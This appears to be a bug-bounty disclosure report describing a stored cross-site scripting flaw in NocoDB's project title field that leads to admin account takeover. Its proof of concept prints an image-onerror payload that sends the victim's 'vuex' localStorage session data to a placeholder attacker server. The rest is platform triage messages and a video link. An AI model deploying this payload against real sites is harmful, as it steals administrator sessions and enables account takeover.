Account takeover due to stored XSS in "Project Title" in nocodb/nocodb
Valid
Reported on
Jun 3rd 2022
Description
The Project "Title" of the NocoDB application is vulnerable to stored xss which can leads to admin account takeover.
Proof of Concept
Login with low privileged users and Click on "New Project" then click on "Create"
Now write the payload <img src=x onerror=this.src="http://hacker_server:port/?"+localStorage.getItem("vuex")> and again click on "Create"
Then login from super admin account and "delete" the created project <img src=x onerror=this.src="http://hacker_server:port/?"+localStorage.getItem("vuex")>
poc video
https://drive.google.com/file/d/1tVJFpajTWGOrgYvLj2eHfqcrLcWCSKnG/view?usp=sharing
Impact
Can takeover all users account.
We are processing your report and will contact the
nocodb
team within 24 hours.
a year ago
Raj modified the report
a year ago
We created a
GitHub Issue
asking the maintainers to create a
SECURITY.md
a year ago
Hello @admin the maintainer has provided the email id so can you pls invite them to this report
We have contacted a member of the
nocodb
team and are waiting to hear back
a year ago
Raj modified the report
a year ago
Raj modified the report
a year ago
@admin here is the poc video: ``` https://drive.google.com/file/d/1tVJFpajTWGOrgYvLj2eHfqcrLcWCSKnG/view?usp=sharing
@admin here is the poc video:
https://drive.google.com/file/d/1tVJFpajTWGOrgYvLj2eHfqcrLcWCSKnG/view?usp=sharing
of account takover.
The researcher's credibility has increased: +7
to join this conversation